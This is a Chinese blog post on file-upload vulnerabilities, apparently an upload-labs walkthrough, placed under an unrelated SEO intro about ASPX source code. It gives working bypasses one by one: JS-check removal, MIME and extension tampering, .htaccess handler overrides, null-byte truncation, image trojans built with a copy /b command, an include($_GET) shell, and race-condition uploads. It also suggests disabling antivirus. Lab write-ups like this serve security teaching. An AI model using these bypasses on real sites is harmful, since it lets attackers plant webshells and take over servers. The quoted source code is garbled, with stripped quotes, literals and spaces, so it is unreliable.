各位老铁们好,相信很多人对aspx网站源码分享如何修改都不是特别的了解,因此呢,今天就来为大家分享下关于aspx网站源码分享如何修改以及aspx登录界面源码的问题知识,还望可以帮助大家,解决大家的一些困惑,下面一起来看看吧!
文件上传漏洞总结
一、不安全的文件上传漏洞概述
在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。文件上传漏洞对Web应用来说是一种非常严重的漏洞。
一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应该没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等webshell,从而达到控制web网站的目的。
二、漏洞原理
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件,并通过此脚本文件获得了执行服务端命令的能力。
高危出发点:
相册、头像上传视频、照片分享附件上传(论坛发帖、邮箱)文件管理器
三、漏洞危害
1、代码执行
上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行,甚至导致网站甚至整个服务器被控制
2、域控制
上传文件是flash的策略文件crossdomiain.xml,黑客用以控制flash在该域下的行为;
3、网站挂马
上传文件是病毒、木马,黑客用以诱骗用户或者管理员下载执行;
4、钓鱼
上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
三、上传漏洞满足条件
首先,上传的文件能够被web容器解释执行。所以文件上传后所在的目录要是web容器所覆盖到的路径。
其次,用户能够从web访问这个文件。如果文件上传了,但用户无法通过web访问,或者无法得到web容器解释这个脚本,那么也不能称之为漏洞。最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
四、防御
将上传文件与web服务隔离白名单过滤、限制上传文件类型?文件上传路径设置为不可执行权限?检查文件上传路径?自带函数检测?自定义函数检测?图片渲染?对上传文件重命名?对文件内容压缩,重新生成文件内容?检查文件内容
五、上传漏洞绕过
详情看图片,后面有一些场景的题目配合学习
upload-labs通关笔记
Pass-1使用js对不合法图片进行检查
需要上传个webshell上去但是限制了上传的文件类型
F12查看javascrip内容
代码审计
functioncheckFile(){\nvarfile=document.getElementsByName(&39;)[0].value;\nif(file==null||file==&34;){\nalert(&34;);\nreturnfalse;\n}\n//定义允许上传的文件类型\nvarallow_ext=&34;;//前端白名单,只允许这三个格式\n//提取上传文件的类型\nvarext_name=file.substring(file.lastIndexOf(&34;));\n//判断上传文件类型是否允许上传\nif(allow_ext.indexOf(ext_name)==-1){\nvarerrMsg=&34;+allow_ext+&34;+ext_name;\nalert(errMsg);//输出errMsg\nreturnfalse;\n}\n}
方法一:本地删除js代码上传
F12点击查看器,将其中的js过滤代码(上面那段)删除掉,ctrl+s保存在本地桌面上,在桌面上右键文本方式打开,寻找action(目标),ctrl+f,没有找到,说明没有上传目标,手动添加,重新刷新网页正常上传正常图片,查看网络,可以看到一个post数据包,200ok,里面有一个地址
action=&34;
将这个代码添加在<from>标签
<divid=&34;>\n<ol>\n<li>\n<h3>任务</h3>\n<p>上传一个<code>webshell</code>到服务器。</p>\n</li>\n<li>\n<h3>上传区</h3>\n<formaction=&34;enctype=&34;method=&34;onsubmit=&34;>\n<p>请选择要上传的图片:</p><p>\n<inputclass=&34;type=&34;name=&34;>\n<inputclass=&34;type=&34;name=&34;value=&34;>\n</p></form>\n<divid=&34;>\n</div>\n<divid=&34;>\n</div>\n</li>\n</ol>\n</div>
重新上传一个a.php文件,(<?phpphpinfo();?>)
在网站根目录result可以查看到a.php文件,说明上传成功。
或者访问:http://127.0.0.1/upload/upload/a.php
方法二:bp抓改
浏览器172.21.172.56访问靶场,修改php文件后缀改为png文件,上传,bp抓包,修改数据包后缀,又改回php,发送数据包,再次访问http://172.21.172.56/upload/upload/b.php出现phpinfo信息说明成功
方法三:火狐禁用js过滤
接着再地址栏输入about:config,点击回车键。
接着看到如下画面。去掉下次任显示此警告前面的方框里的钩,再点击我保证会小心按钮
点击后看到如下画面,在搜索地址栏中输入javascript.enabled
改为flase
直接上传c.php就可以了
访问:http://172.21.172.56/upload/upload/c.php
出现信息,成功
方法四:修改js:前端过滤不安全
js代码很明显是白名单,只允许三种通过,那么我们可以手动添加一个规则
直接上传php文件
Pass-2在服务端对数据包的MIME进行检查
右键网页源码,没有发现js过滤
网站根目录查看index.php源码
<?php\ninclude&39;;\ninclude&39;;\ninclude&39;;\n$is_upload=false;\n$msg=null;\nif(isset($_POST[&39;])){//isset—检测变量是否已设置并且非null\nif(file_exists(UPLOAD_PATH)){//file_exists检查文件或目录是否存在,UPLOAD_PATH如果存在\nif(($_FILES[&39;][&39;]==&39;)||($_FILES[&39;][&39;]==&39;)||($_FILES[&39;][&39;]==&39;)){//如果文件类型是image/jpegimage/pngimage/gif(白名单)\n$temp_file=$_FILES[&39;][&39;];\n$img_path=UPLOAD_PATH.&39;.$_FILES[&39;][&39;];\nif(move_uploaded_file($temp_file,$img_path)){\n$is_upload=true;\n}else{\n$msg=&39;;\n}\n}else{\n$msg=&39;;//非image/jpegimage/pngimage/gif,重新上传\n}\n}else{\n$msg=UPLOAD_PATH.&39;;\n}\n}\n?>
不是在js中,而是在服务器端进行了限制
MIME(MultipurposeInternetMailExtensions)是描述消息内容类型的因特网标准MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据在HTTP协议中,使用Content-Type字段表示文件的MIME类型。
所以抓包修改Content-Type
200ok
仅仅判断content-type类型,因此上传a.php抓包修改content-type为图片类型:image/jpeg、image/png、image/gif就可了
Pass-3特殊后缀绕过黑名单
源码分析
$is_upload=false;\n$msg=null;\nif(isset($_POST[&39;])){\nif(file_exists(UPLOAD_PATH)){//检查文件或目录是否存在\n$deny_ext=array(&39;,&39;,&39;,&39;);//数组deny_exit相当于黑名单\n$file_name=trim($_FILES[&39;][&39;]);//trim()去除字符串首尾处的空白字符(或者其他字符)\n$file_name=deldot($file_name);//删除文件名末尾的点\n$file_ext=strrchr($file_name,&39;);//查找指定字符在字符串中的最后一次出现\n$file_ext=strtolower($file_ext);//转换为小写\n$file_ext=str_ireplace(&39;,&39;,$file_ext);//去除字符串::$DATA\n$file_ext=trim($file_ext);//收尾去空\nif(!in_array($file_ext,$deny_ext)){//检查数组中是否存在某个值,如果不存在执行下一步\n$temp_file=$_FILES[&39;][&39;];\n$img_path=UPLOAD_PATH.&39;.date(&34;).rand(1000,9999).$file_ext;//date()重置时间,时间戳//rand产生一个随机整数\nif(move_uploaded_file($temp_file,$img_path)){//将上传的文件移动到新位置\n$is_upload=true;\n}else{\n$msg=&39;;\n}\n}else{\n$msg=&39;;\n}\n}else{\n$msg=UPLOAD_PATH.&39;;\n}\n}\n/*\nmove_uploaded_file(string`$filename`,string`$destination`)\nfilename\n上传的文件的文件名。\ndestination\n移动文件到这个位置。\n*/
是个黑名单,不允许上传.asp,.aspx,.php,.jsp后缀的文件
那最简单的绕过办法,用特殊后缀名
.phtml
.phps
.php5
.pht
类似的前提是apache的配置文件httpd.conf中有如下配置
AddTypeapplication/x-httpd-php.php.phtml.phps.php5.pht
实质就是添加可以执行php的文件类型
回复告诉我们路径以及文件名了。图片上传后右键也能得到图片地址
Pass-4.htaccess绕过黑名单
源码分析
$is_upload=false;\n$msg=null;\nif(isset($_POST[&39;])){\nif(file_exists(UPLOAD_PATH)){\n$deny_ext=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);\n$file_name=trim($_FILES[&39;][&39;]);//trim()去除字符串首尾处的空白字符(或者其他字符)\n$file_name=deldot($file_name);//删除文件名末尾的点\n$file_ext=strrchr($file_name,&39;);\n$file_ext=strtolower($file_ext);//转换为小写\n$file_ext=str_ireplace(&39;,&39;,$file_ext);//去除字符串::$DATA\n$file_ext=trim($file_ext);//收尾去空\n?\nif(!in_array($file_ext,$deny_ext)){\n$temp_file=$_FILES[&39;][&39;];\n$img_path=UPLOAD_PATH.&39;.$file_name;\nif(move_uploaded_file($temp_file,$img_path)){\n$is_upload=true;\n}else{\n$msg=&39;;\n}\n}else{\n$msg=&39;;\n}\n}else{\n$msg=UPLOAD_PATH.&39;;\n}\n}
黑名单拒绝了几乎所有有问题的后缀名,除了.htaccess前提条件(1.mod_rewrite模块开启。2.AllowOverrideAll)
因此先上传一个.htaccess文件,内容如下:SetHandlerapplication/x-httpd-php
这样所有文件都会当成php来解析
在上传一个1.jpg,(内容写成<?phpphpinfo();?>)之后访问就会以php来执行
Pass-5.user.ini绕过黑名单
源码分析
$is_upload=false;\n$msg=null;\nif(isset($_POST[&39;])){\nif(file_exists(UPLOAD_PATH)){\n$deny_ext=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);\n$file_name=trim($_FILES[&39;][&39;]);\n$file_name=deldot($file_name);//删除文件名末尾的点\n$file_ext=strrchr($file_name,&39;);//查找指定字符在字符串中的最后一次出现\n$file_ext=strtolower($file_ext);//转换为小写\n$file_ext=str_ireplace(&39;,&39;,$file_ext);//去除字符串::$DATA\n$file_ext=trim($file_ext);//首尾去空\n\nif(!in_array($file_ext,$deny_ext)){\n$temp_file=$_FILES[&39;][&39;];\n$img_path=UPLOAD_PATH.&39;.$file_name;\nif(move_uploaded_file($temp_file,$img_path)){\n$is_upload=true;\n}else{\n$msg=&39;;\n}\n}else{\n$msg=&39;;\n}\n}else{\n$msg=UPLOAD_PATH.&39;;\n}\n}
更完善的黑名单.htaccess文件也被禁了
但是.ini没禁所以可以上传.user.ini文件内容是auto_prepend_file=1.jpg
让所有php文件都“自动”包含1.jpg文件
试了半天根本不行,介绍另一个方法
点+空格+点绕过
Pass-6-大小写绕过
$is_upload=false;\n$msg=null;\nif(isset($_POST[&39;])){\nif(file_exists(UPLOAD_PATH)){\n$deny_ext=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);\n$file_name=trim($_FILES[&39;][&39;]);\n$file_name=deldot($file_name);//删除文件名末尾的点\n$file_ext=strrchr($file_name,&39;);\n$file_ext=str_ireplace(&39;,&39;,$file_ext);//去除字符串::$DATA\n$file_ext=trim($file_ext);//首尾去空\n?\nif(!in_array($file_ext,$deny_ext)){\n$temp_file=$_FILES[&39;][&39;];\n$img_path=UPLOAD_PATH.&39;.date(&34;).rand(1000,9999).$file_ext;\nif(move_uploaded_file($temp_file,$img_path)){\n$is_upload=true;\n}else{\n$msg=&39;;\n}\n}else{\n$msg=&39;;\n}\n}else{\n$msg=UPLOAD_PATH.&39;;\n}\n}
更完善的黑名单
但是大小写的函数去掉了
所以可以后缀名大写绕过
$file_ext=strtolower($file_ext);//转换为小写
这里没得
抓包看看,文件改成啥名字了
Pass-7空格绕过黑名单
源码分析
$is_upload=false;\n$msg=null;\nif(isset($_POST[&39;])){\nif(file_exists(UPLOAD_PATH)){\n$deny_ext=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);\n$file_name=$_FILES[&39;][&39;];\n$file_name=deldot($file_name);//删除文件名末尾的点\n$file_ext=strrchr($file_name,&39;);\n$file_ext=strtolower($file_ext);//转换为小写\n$file_ext=str_ireplace(&39;,&39;,$file_ext);//去除字符串::$DATA\n\nif(!in_array($file_ext,$deny_ext)){\n$temp_file=$_FILES[&39;][&39;];\n$img_path=UPLOAD_PATH.&39;.date(&34;).rand(1000,9999).$file_ext;\nif(move_uploaded_file($temp_file,$img_path)){\n$is_upload=true;\n}else{\n$msg=&39;;\n}\n}else{\n$msg=&39;;\n}\n}else{\n$msg=UPLOAD_PATH.&39;;\n}\n}
对比前面的题这题没有对后缀名进行去空所以在后缀名里加个空格就能绕过
$file_ext=trim($file_ext);//收尾去空$file_name=trim($_FILES[&39;][&39;]);//trim()去除字符串首尾处的空白字符(或者其他字符)
这里没有
Pass-8点绕过黑名单
源码分析
$is_upload=false;$msg=null;if(isset($_POST[&39;])){if(file_exists(UPLOAD_PATH)){$deny_ext=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);$file_name=trim($_FILES[&39;][&39;]);$file_ext=strrchr($file_name,&39;);$file_ext=strtolower($file_ext);//转换为小写$file_ext=str_ireplace(&39;,&39;,$file_ext);//去除字符串::$DATA$file_ext=trim($file_ext);//首尾去空if(!in_array($file_ext,$deny_ext)){$temp_file=$_FILES[&39;][&39;];$img_path=UPLOAD_PATH.&39;.$file_name;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg=&39;;}}else{$msg=&39;;}}else{$msg=UPLOAD_PATH.&39;;}}
对比前面没有对后缀名末尾的点进行处理
$file_name=deldot($file_name);//删除文件名末尾的点
没有这个
Pass-9::$DATA绕过黑名单
源码分析
$is_upload=false;$msg=null;if(isset($_POST[&39;])){if(file_exists(UPLOAD_PATH)){$deny_ext=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);$file_name=trim($_FILES[&39;][&39;]);$file_name=deldot($file_name);//删除文件名末尾的点$file_ext=strrchr($file_name,&39;);$file_ext=strtolower($file_ext);//转换为小写$file_ext=trim($file_ext);//首尾去空if(!in_array($file_ext,$deny_ext)){$temp_file=$_FILES[&39;][&39;];$img_path=UPLOAD_PATH.&39;.date(&34;).rand(1000,9999).$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg=&39;;}}else{$msg=&39;;}}else{$msg=UPLOAD_PATH.&39;;}}
没有对后缀名中的’::$DATA’进行过滤在php+windows的情况下文件名+&34;会把::$DATA之后的数据当成文件流处理,不会检测后缀名且保持&34;之前的文件名
少了$file_ext=str_ireplace(&39;,&39;,$file_ext);//去除字符串::$DATA
Pass-10点空点绕过
源码分析
$is_upload=false;$msg=null;if(isset($_POST[&39;])){if(file_exists(UPLOAD_PATH)){$deny_ext=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);$file_name=trim($_FILES[&39;][&39;]);$file_name=deldot($file_name);//删除文件名末尾的点$file_ext=strrchr($file_name,&39;);$file_ext=strtolower($file_ext);//转换为小写$file_ext=str_ireplace(&39;,&39;,$file_ext);//去除字符串::$DATA$file_ext=trim($file_ext);//首尾去空if(!in_array($file_ext,$deny_ext)){$temp_file=$_FILES[&39;][&39;];$img_path=UPLOAD_PATH.&39;.$file_name;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg=&39;;}}else{$msg=&39;;}}else{$msg=UPLOAD_PATH.&39;;}}
区别是路径里不是file_ext,而是file_name即保存文件的时候没有重命名而使用的原始的文件名可以利用1.php..(点+空格+点)来绕过
Pass-11双写绕过
源码分析
$is_upload=false;$msg=null;if(isset($_POST[&39;])){if(file_exists(UPLOAD_PATH)){$deny_ext=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);$file_name=trim($_FILES[&39;][&39;]);$file_name=str_ireplace($deny_ext,&34;,$file_name);$temp_file=$_FILES[&39;][&39;];$img_path=UPLOAD_PATH.&39;.$file_name;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg=&39;;}}else{$msg=UPLOAD_PATH.&39;;}}
用str_ireplace把黑名单里的后缀全替换为空但是这个函数只进行一次替换所以可以双写绕过
Pass-12Get%00截断
源码分析
$is_upload=false;$msg=null;if(isset($_POST[&39;])){$ext_arr=array(&39;,&39;,&39;);//数组$file_ext=substr($_FILES[&39;][&39;],strrpos($_FILES[&39;][&39;],&34;)+1);/*返回字符串的子串substr(string$string,int$start,int$length=?):string返回字符串string由start和length参数指定的子字符串。strrpos(string,find,start)函数查找字符串中最后一次出现的位置*/if(in_array($file_ext,$ext_arr)){//检查数组中是否存在某个值$temp_file=$_FILES[&39;][&39;];$img_path=$_GET[&39;].&34;.rand(10,99).date(&34;).&34;.$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg=&39;;}}else{$msg=&34;;}}
定义一个白名单,只允许三种文件类型
substr()函数返回字符的一部分,strrpos(string,find,start)函数查找字符串中最后一次出现的位置,这里是将后缀名提取出来赋值给file_extimg_path是直接拼接
我们可以抓包修改get的参数,然后通过file_ext无效,这样就可以上传PHP文件
%00截断的概念和原理:
在URL中%00表示ASCII码中的0,而0作为特殊字符保留,表示字符结束,当url中出现%00时就会认为读取已结束,而忽略后面上传的文件或图片,只上传截断前的文件或图片
要求:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态将路径改为path=“upload/1.php%00”,那么拼接之后,文件上传时就变成了“upload/1.php%1.jpg”,这时上传便将1.php上传进去,而1.jpg则被截断
切换php版本
Pass-13Post%00截断
源码分析
$is_upload=false;$msg=null;if(isset($_POST[&39;])){$ext_arr=array(&39;,&39;,&39;);$file_ext=substr($_FILES[&39;][&39;],strrpos($_FILES[&39;][&39;],&34;)+1);//拿出文件名后缀if(in_array($file_ext,$ext_arr)){$temp_file=$_FILES[&39;][&39;];$img_path=$_POST[&39;].&34;.rand(10,99).date(&34;).&34;.$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg=&34;;}}else{$msg=&34;;}}
与上一题相比,区别是上传方式变成了POST。还是利用00截断
但是POST不会像GET对%00进行自动解码,需要在二进制中进行修改,将706870后面的2b改为00
Pass-14图片马绕过
源码分析
functiongetReailFileType($filename){//得到真实的文件类型$file=fopen($filename,&34;);//打开文件读二进制$bin=fread($file,2);//只读2字节也就是说只对文件头进行了检测fclose($file);//关闭文件$strInfo=@unpack(&34;,$bin);//根据给定的格式将二进制字符串解压缩到数组中。$typeCode=intval($strInfo[&39;].$strInfo[&39;]);//获取变量的整数值$fileType=&39;;switch($typeCode){case255216:$fileType=&39;;break;case13780:$fileType=&39;;break;case7173:$fileType=&39;;break;default:$fileType=&39;;}return$fileType;//得到文件类型,返回的只有这四种}$is_upload=false;$msg=null;if(isset($_POST[&39;])){//检测变量是否已设置并且非null$temp_file=$_FILES[&39;][&39;];$file_type=getReailFileType($temp_file);//跳转到上面的函数if($file_type==&39;){$msg=&34;;}else{$img_path=UPLOAD_PATH.&34;.rand(10,99).date(&34;).&34;.$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg=&34;;}}}-unpack(format,data)函数是规定在解包数据时所使用的格式,这里是文件头按照c格式解包-intval()函数用于获取变量的整数值
rb是读取二进制文件
后面的fread函数只读两字节,也就是说只对文件头进行了检测
也就是说,文件头检测,如果你没有伪造文件头,即便你是jpg图片它也识别不出来,所以这里我们要抓包,伪造一个文件头
我们随便拿一张图片,文件内容最前面添加GIF89a和
<?php$filename=$_GET[&39;];include($filename);?>
直接上传test.php文件,抓包拿到文件目录以及文件名
制作图片马将一句话木马1.php和普通图片1.jpg合并得到shell.jpg
这里Windows会报毒.&34;
要关掉防火墙里面的实时防护
dos命令:copy1.jpg/b+1.php/ashell.jpg
shell.jpg上传上去之后,拿到图片地址以及文件名
但直接访问图片并不能把图片当做PHP解析,还需要利用文件包含漏洞
在www/upload-labs/upload目录下建立一个php文件
<?php/*本页面存在文件包含漏洞,用于测试图片马是否能正常运行!*/header(&34;);$file=$_GET[&39;];if(isset($file)){include$file;}else{show_source(__file__);}
Pass-15图片马绕过
源码分析
functionisImage($filename){$types=&39;;//三种类型的后缀if(file_exists($filename)){//文件存在文件名$info=getimagesize($filename);//getimagesize()取得图像大小$ext=image_type_to_extension($info[2]);//image_type_to_extension—取得图像类型的文件后缀if(stripos($types,$ext)>=0){//stripos—查找字符串首次出现的位置(不区分大小写)在变量types找,返回变量extreturn$ext;}else{returnfalse;}}else{returnfalse;}}$is_upload=false;$msg=null;if(isset($_POST[&39;])){$temp_file=$_FILES[&39;][&39;];$res=isImage($temp_file);if(!$res){$msg=&34;;}else{$img_path=UPLOAD_PATH.&34;.rand(10,99).date(&34;).$res;if(move_uploaded_file($temp_file,$img_path)){//move_uploaded_file—将上传的文件移动到新位置$is_upload=true;}else{$msg=&34;;}}}
用getimagesize函数获取图像大小及相关信息,成功返回一个数组,失败则返回FALSE并产生一条E_WARNING级的错误信息
仍然可以图片马绕过
Pass-16图片马绕过
源码分析
functionisImage($filename){////需要开启php_exif模块$image_type=exif_imagetype($filename);//exif_imagetype—判断一个图像的类型switch($image_type){//语句类似于具有同一个表达式的一系列if语句。很多场合下需要把同一个变量(或表达式)与很多不同的值比较,并根据它等于哪个值来执行不同的代码。caseIMAGETYPE_GIF:return&34;;break;caseIMAGETYPE_JPEG:return&34;;break;caseIMAGETYPE_PNG:return&34;;break;default:returnfalse;break;}}$is_upload=false;$msg=null;if(isset($_POST[&39;])){//检测变量是否已设置并且非null$temp_file=$_FILES[&39;][&39;];$res=isImage($temp_file);//在这里跑上去查看这个文件类型,返回一个后缀名或者错误if(!$res){//如果res==flase$msg=&34;;}else{$img_path=UPLOAD_PATH.&34;.rand(10,99).date(&34;).&34;.$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg=&34;;}}}
用到php_exif模块来判断文件类型
仍然可以图片马绕过
Pass-17二次渲染绕过
源码分析
$is_upload=false;$msg=null;if(isset($_POST[&39;])){////检测变量是否已设置并且非null//获得上传文件的基本信息,文件名,类型,大小,临时文件路径\n$filename=$_FILES[&39;][&39;];$filetype=$_FILES[&39;][&39;];$tmpname=$_FILES[&39;][&39;];$target_path=UPLOAD_PATH.&39;.basename($filename);//路径//获得上传文件的扩展名\n$fileext=substr(strrchr($filename,&34;),1);//strrchr—查找指定字符在字符串中的最后一次出现。substr—返回字符串的子串。//判断文件后缀与类型,合法才进行上传操作\nif(($fileext==&34;)&&($filetype==&34;)){//如果文件类型是jpg后缀也是jpg\nif(move_uploaded_file($tmpname,$target_path)){//将上传的文件移动到新位置$target_path//使用上传的图片生成新的图片\n$im=imagecreatefromjpeg($target_path);//imagecreatefromjpeg—由文件或URL创建一个新图象\nif($im==false){\n$msg=&34;;\n@unlink($target_path);//unlink—删除文件\n}\nelse{//给新图片指定文件名\nsrand(time());//srand播下随机数发生器种子time—返回当前的Unix时间戳\n$newfilename=strval(rand()).&34;;//strval—获取变量的字符串值//显示二次渲染后的图片(使用用户上传图片生成的新图片)\n$img_path=UPLOAD_PATH.&39;.$newfilename;//路径\nimagejpeg($im,$img_path);//imagejpeg—输出图象到浏览器或文件。@unlink($target_path);//删除$is_upload=true;}}else{$msg=&34;;}//这里只只展示了jpg的情况
if(($fileext==&34;)&&($filetype==&34;))
检测$fileext和$filetype是否为jpg格式.
if(move_uploaded_file($tmpname,$target_path)){
然后使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败.
在这里有一个问题,如果作者是想考察绕过二次渲染的话,在move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染并不会影响到图片马的上传.如果是想考察文件后缀和content-type的话,那么二次渲染的代码就很多余
由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片.
在这里很明显,代码先将图片进行了上传,之后在进行判断格式是否正确,否则删除文件,所以这里存在一个逻辑漏洞。
我们可以用bp不断的发送.php格式的包,一直发,然后我们在网页上浏览打开这个php文件,只要我们速度在代码执行删除之前打开了php文件,那么代码就不能对php文件进行任何操作了。
二次渲染绕过
https://xz.aliyun.com/t/2657
二次渲染了上传的图片
绕过方法:找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片。
Pass-18条件竞争
源码分析
$is_upload=false;$msg=null;if(isset($_POST[&39;])){$ext_arr=array(&39;,&39;,&39;);$file_name=$_FILES[&39;][&39;];$temp_file=$_FILES[&39;][&39;];$file_ext=substr($file_name,strrpos($file_name,&34;)+1);$upload_file=UPLOAD_PATH.&39;.$file_name;if(move_uploaded_file($temp_file,$upload_file)){if(in_array($file_ext,$ext_arr)){$img_path=UPLOAD_PATH.&39;.rand(10,99).date(&34;).&34;.$file_ext;rename($upload_file,$img_path);$is_upload=true;}else{$msg=&34;;unlink($upload_file);}}else{$msg=&39;;}}
先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除。
这就在文件的处理顺序上出现了问题,不管文件类型是否合格就上传至服务器,之后再对其类型进行判断,这样的处理顺序导致了在多线程的情况下,有可能对于不合格的文件还没来得及删除就已经被访问,导致不合格的文件绕过了限制。
因此我们可以打个时间差:上传1.php,只需要在它删除之前访问即可。
可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址。
Pass-19条件竞争
源码分析
//index.php$is_upload=false;$msg=null;if(isset($_POST[&39;])){require_once(&34;);$imgFileName=time();$u=newMyUpload($_FILES[&39;][&39;],$_FILES[&39;][&39;],$_FILES[&39;][&39;],$imgFileName);$status_code=$u->upload(UPLOAD_PATH);switch($status_code){case1:$is_upload=true;$img_path=$u->cls_upload_dir.$u->cls_file_rename_to;break;case2:$msg=&39;;break;case-1:$msg=&39;;break;case-2:$msg=&39;;break;case-3:$msg=&39;;break;case-4:$msg=&39;;break;case-5:$msg=&39;;break;case-6:$msg=&39;;break;default:$msg=&39;;break;}}//myupload.phpclassMyUpload{………………var$cls_arr_ext_accepted=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);………………/**upload()****Methodtouploadthefile.**Thisistheonlymethodtocalloutsidetheclass.**@paraStringnameofdirectoryweuploadto**@returnsvoid**/functionupload($dir){$ret=$this->isUploadedFile();if($ret!=1){return$this->resultUpload($ret);}$ret=$this->setDir($dir);if($ret!=1){return$this->resultUpload($ret);}$ret=$this->checkExtension();if($ret!=1){return$this->resultUpload($ret);}$ret=$this->checkSize();if($ret!=1){return$this->resultUpload($ret);}//ifflagtocheckifthefileexistsissetto1if($this->cls_file_exists==1){$ret=$this->checkFileExists();if($ret!=1){return$this->resultUpload($ret);}}//ifwearehere,wearereadytomovethefiletodestination$ret=$this->move();if($ret!=1){return$this->resultUpload($ret);}//checkifweneedtorenamethefileif($this->cls_rename_file==1){$ret=$this->renameFile();if($ret!=1){return$this->resultUpload($ret);}}//ifwearehere,everythingworkedasplanned:)return$this->resultUpload(&34;);}………………};
白名单,一步一步检查文件大小、文件是否存在等等。
move在rename之前,move操作进行了一次文件保存,rename进行了一次更改文件名。
因此可以通过不断上传图片马,由于条件竞争可能来不及重命名。
Pass-20多种方法
源码分析
$is_upload=false;$msg=null;if(isset($_POST[&39;])){if(file_exists(UPLOAD_PATH)){$deny_ext=array(&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;,&34;);$file_name=$_POST[&39;];$file_ext=pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)){$temp_file=$_FILES[&39;][&39;];$img_path=UPLOAD_PATH.&39;.$file_name;if(move_uploaded_file($temp_file,$img_path)){$is_upload=true;}else{$msg=&39;;}}else{$msg=&39;;}}else{$msg=UPLOAD_PATH.&39;;}}
这关感觉像是个测试,对比前面可以发现有很多方法
点绕过或空格绕过:直接在后缀名后面加上/.
利用apache的解析漏洞,如给文件命名为test.php.aba
Post的00截断
Pass-21来自ctf
源码分析
